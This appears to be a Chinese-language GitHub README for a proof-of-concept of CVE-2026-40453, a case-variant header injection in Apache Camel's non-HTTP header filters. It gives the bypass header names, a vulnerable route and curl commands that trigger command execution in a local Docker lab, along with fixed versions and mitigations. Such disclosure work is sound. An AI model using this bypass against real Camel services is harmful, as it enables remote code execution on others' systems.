oscerd/CVE-2026-40453
GitHub: oscerd/CVE-2026-40453
该复现程序演示了 Apache Camel 非 HTTP 组件中 HeaderFilterStrategy 因大小写敏感过滤缺陷导致的 Header 注入漏洞及其利用链。
Stars: 0 | Forks: 0
# 大小写变体 Camel Header 注入复现程序 (CVE-2026-40453)
本项目演示了 **CVE-2026-40453** —— 这是对 **CVE-2025-27636** 的一个不完整修复。2025 年的修复
向 `HttpHeaderFilterStrategy` 添加了 `setLowerCase(true)`,以便将大小写变体的 header 名称(例如
`CAmelExecCommandExecutable`)与规范的 `CamelExecCommandExecutable` 一起过滤。相同的
调用**并未**应用于五个非 HTTP 的 `HeaderFilterStrategy` 实现
(`camel-jms`、`camel-sjms`、`camel-coap`、`camel-google-pubsub`),这些实现区分大小写地进行过滤,而
Camel Exchange 则以不区分大小写的 map 存储 header。因此,攻击者可以注入一个
大小写变体的 `Camel*` 控制 header,它绕过了过滤器,但仍然会被下游组件
(`camel-exec`、`camel-file` 等)以规范名称解析 → **远程代码执行** /
任意文件写入。
此复现程序使用 **camel-coap**(自包含,无需外部 broker)演示了该绕过;同样的
缺陷也影响了 JMS/SJMS/Google-Pubsub 策略。
安全公告: https://camel.apache.org/security/CVE-2026-40453.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-jms`, `camel-sjms`, `camel-coap`, `camel-google-pubsub` (此 PoC 使用 camel-coap) |
| **受影响的类** | `JmsHeaderFilterStrategy`, `ClassicJmsHeaderFilterStrategy`, `SjmsHeaderFilterStrategy`, `CoAPHeaderFilterStrategy`, `GooglePubsubHeaderFilterStrategy` |
| **根本原因** | 区分大小写的 `startsWith("Camel"/"camel")` 过滤(缺少 `setLowerCase(true)`)对比不区分大小写的 Exchange header map |
| **CWE** | CWE-20 (输入验证不恰当) — 消息 header 注入 |
| **影响** | 通过 header 驱动的 producer 进行 RCE / 任意文件写入 |
| **受影响版本** | 从 3.0.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前 |
| **已修复版本** | 4.14.6, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23313 (完成了对 CVE-2025-27636 的修复) |
| **报告者** | Saroj Khadka |
## 技术细节
`CoAPHeaderFilterStrategy`(受影响版本)**区分大小写**地过滤 `Camel*`:
```
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
```
当 CoAP 请求到达时,`CamelCoapResource.handleRequest()` 会将每个 URI 查询参数映射到
Exchange In headers 中,并受到 `strategy.applyFilterToExternalHeaders(name, value, exchange)` 的限制:
- `CamelExecCommandExecutable` — `startsWith("Camel")` 为 **true** → 被过滤掉。
- `CAmelExecCommandExecutable` — `startsWith("Camel")` 为 **false** (`CAm` ≠ `Cam`) → **未**被过滤。
Exchange header map 是**不区分大小写**的,因此大小写变体 header 随后会被
exec producer 以其规范名称 `CamelExecCommandExecutable` 解析,从而覆盖命令。
## 受害路由
```
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 1) 良性
```
curl http://localhost:8080/exploit/normal # -> hello
```
### 2) 规范 header — 已过滤 (无 RCE)
```
curl http://localhost:8080/exploit/canonical
# 注入 CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical 已创建: false (过滤器会剔除规范的 Camel* headers)
```
### 3) 大小写变体 header — 绕过 (RCE)
```
curl http://localhost:8080/exploit/attack
# 注入 CAmelExecCommandExecutable / CAmelExecCommandArgs (大写 A)
# -> /tmp/pwned 已创建: true (大小写变体绕过了区分大小写的过滤器)
docker exec cve-2026-40453 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 推荐修复
升级到 4.14.6 / 4.18.2 / 4.20.0。此修复 (CAMEL-23313) 为五个
非 HTTP 的 `HeaderFilterStrategy` 实现添加了 `setLowerCase(true)`,因此大小写变体的 `Camel*` 名称也会被过滤。
## 缓解措施
在升级之前:
1. **在不受信任的 producer 下游不区分大小写地剥离 Camel headers** — 使用一个
自定义的、设置了 `setLowerCase(true)` 的 `HeaderFilterStrategy`,或者使用带有不区分大小写模式的 `removeHeaders`。
2. 避免将不受信任的 JMS / CoAP / Pub-Sub 消息转发到由 header 驱动的 producer 中。
## 文件
```
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
```
## 免责声明
此复现程序仅用于**安全研究和授权测试**,针对的是**已公开
披露且已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, JS文件枚举, 域名枚举, 漏洞复现, 版权保护, 编程工具, 请求拦截, 远程代码执行